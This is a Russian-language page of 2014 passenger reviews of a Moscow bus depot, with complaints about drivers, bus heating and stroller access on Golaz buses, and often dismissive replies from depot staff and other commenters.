Уважаемая Галина. Парк тоже заинтересован в том, что водители были вежливыми и опытными. Но увы, нехватка профессиональных водителей основная головная боль московских парков. Иногородние и иностранные водители по приезду сразу не могут научиться хорошо ездить по Москве, и также быстро поднять свой уровень культуры. Для этого надо определенное время. Но если вот вы согласились бы устроится на работу водителем общественного транспорта (кстати, сейчас очень много женщин устраиваются водителями) и на практике показали бы, как надо работать и общаться с пассажирами, было бы неплохо. А так, все только могут критиковать водителей и парк, а самому взяться за работу - нет. Как то нечестно. Всего доброго.
Галина Павловна
11.09.2014
Спасибо за ответ и приглашение на работу! Ваш водитель предложил пользоваться такси, а Вы еще лучше. Я, к счастью, работаю не у Вас. "Каков председатель, таков и колхоз".
Махмади - водитель
11.09.2014
В ответ на сообщение № 2 от Галина Павловна: Вернее, каков автобус, такие и пассажиры.
Шматко Василий
14.09.2014
В ответ на сообщение № 2 от Галина Павловна: А, как вы хотели, работать водителем общественного транспорта слабо?
Яна
02.07.2014
Какой здравомыслящий человек будет в +30 включать печку на максимум в автобусе? Это не поездка домой, а поездка через круги ада! Маршрут 793 бортовой номер 14442, одумайтесь! Мы живыми хотели бы доехать! А не в сауне находиться! Окна и люки никак не помогают! 02.07.2014 18.00-18.20.
Никита Субботин
18.06.2014
Выражаю огромную благодарность водителю Стеценко Сергею Владимировичу. Он всегда аккуратно водит автобус, при необходимости может избежать аварии без малейшего дискомфорта для пассажиров и всегда вежливо ответит на вопросы пассажиров.
Надежда
13.06.2014
Также хотелось бы получить ответ на вопрос. Как мама с коляской должна входить, ехать и выходить из автобусов типа “Голаз” (марщрут 890). Даже, если у него вторая дверь двойная, поднять коляску с ребенком по таким крутым ступенькам и так высоко под силу только 2 здоровым мужчинам, а мамы с колясками ездят не в час пик, а в период, когда ездят пенсионеры.
Василий Степанович - ОТК парка
11.09.2014
Уважаемая Надежда. Свои претензии, пожалуйста, направьте главному конструктору завода Голаз. Всего доброго.
Коммерческий перевозчик автолайн
15.09.2014
В ответ на сообщение № 2 от Надежда: Низкопольные автобусы - городские. А на пригород будут ездить Голазы. Это невыгодно городу, но если вы согласны компенсировать убытки Мосгортранса, то по вашему заказу (естественно после предоплаты, могут подать низкопольный, сняв его с города в ущерб себе). Не зря говорят - протягивай ножки по одежке. Если ваше финансы оправдывают, то пожалуйста, есть автобусы на любой вкус. Счастливого пути.
В ответ на сообщение № 4 от Надежда: И даже это Москва, но считается пригород. Будьте любезны, оплатите проезд.
Василий Степанович- ОТК парка
16.09.2014
В ответ на сообщение № 4 от Надежда: Для обслуживание территории новой Москвы, решением мерии выделены автобусы марки Голаз, имеющие больше сидячих мест, специально для перевозок большего количество пассажиров. Голазы заранее были заказаны для новой Москвы. А коляски можно складывать и перевозить в качестве багажа. Жители очень довольны автобусами Голаз. 14 а/п производством автобусов не занимается, так, что вопросы по устройству автобусов направляйте главному конструктору завода Голаз. Всех благ.
Василий Степанович
17.09.2014
В ответ на сообщение № 8 от Надежда: У пассажира должен быть ручной клад, а если объем превышает установленную норму, то естественно требуется оплата багажа. Ознакомьтесь пожалуйста с правилами перевозки багажа в общественном транспорте, т. к двумья словами да и на страницах отзывов это не описать. Вроде вы вначале требовали как проехать с коляской, а теперь ко всему этому прибавили несколько сумок и личные вещи. Вы случайно переезжать не собираетесь? Автобус не предназначен для переездов, вам лучше заказать Газель или перожок. Автобусы не входят в программу доступная среда, вы чего то путаете. Низкопольные автобусы сосредоточены для обслуживание центра города, куда нельзя использовать Голазы. Если хорошо, вежливо обратиться к водителю, он примет ваши негабаритные вещи в багаж. Кроме автобусов Мосгортранса, вышеуказанный маршрут также обслуживает перевозчик, имеющий соответствующую лицензию, можете также воспользоваться их автобусами, сейчас ведь время конкуренции, они будут рады. На Мосгортрансе свет клином не сошелся. Успехов.
Василий Степанович - ОТК парка
18.09.2014
В ответ на сообщение № 10 от Надежда: Это очень просто, возьмете ключи от багажного отсека у водителя, откроете багажное отделение и положите туда коляску. Дома ведь кладете вещи в шкаф, это типа такого, сложного ничего нет. Если так уж нет у вас рук, попросите любого мужчину, если это у вас получится вежливо. Уверен, помощь будет оказана.
Соломон - читатель отзывов
18.09.2014
Сколько можно тянуть этот диалог с женщиной по имени Надежда? Проблема перевозки детской коляски стала такой актуальной, что уж некуда. Странно а как жили раньше многодетные матери, когда на маршрутах ездили автобусы старого образца? Проблему она находит на ровном месте, ответите на один вопрос, тут же у нее появится следующий. А есть ли время на воспитание ребенка? На странице отзывов нельзя так долго вести переписки всякого рода. Или же у Наташи скорее всего в 14 парке работает бывший любовник, который бросил ее из-за лжи, наглости и обмана, вот она и пытается всячески отомстить ему. Придется парку предоставит ей низкопольный автобус для перевозки коляски с личными вещами. По-другому никак.
Василий Степанович - ОТК парка
19.09.2014
В ответ на сообщение № 13 от Надежда: Сложите коляску и возьмите с собой в салон, раз уж водитель ключи не дает. Другого выхода не вижу. Есть и еще другой выход из положения - возьмите помощника для себя, что бы помогал для переездов с коляской и сумками. Сейчас это услуга доступна, как только дадите объявление, помощники появятся. Думаю, что вопрос исчерпан и больше не будете беспокоит парк с проблемой переезда? Удачи.
Соломон - читатель отзывов
20.09.2014
В ответ на сообщение № 13 от Надежда: С автобусами как то разобрались, а, что же дальше? Ведь еще надо до квартиры дойти. А если коляска не войдет в лифт, или же лифт находится на ремонте? Придется 14 парку выделит одного водителя, что бы поднял коляску на 8 этаж! Другого выхода нет, либо Надежда жалобу направить в Департамент Транспорта и конец 14 парку.
Евгения Авдеева
21.12.2014
Как-то странно! Эта Надя, только и делает, что катается на автобусах сутками, а не занимается воспитанием ребенка. Не влезаешь в большой автобус, жди приедет маленький (низкопольный) следом. Это какая-то провокаторша!Всем женщинам помогают, а ей нет, что-то тут не так. Тем более с коляской!
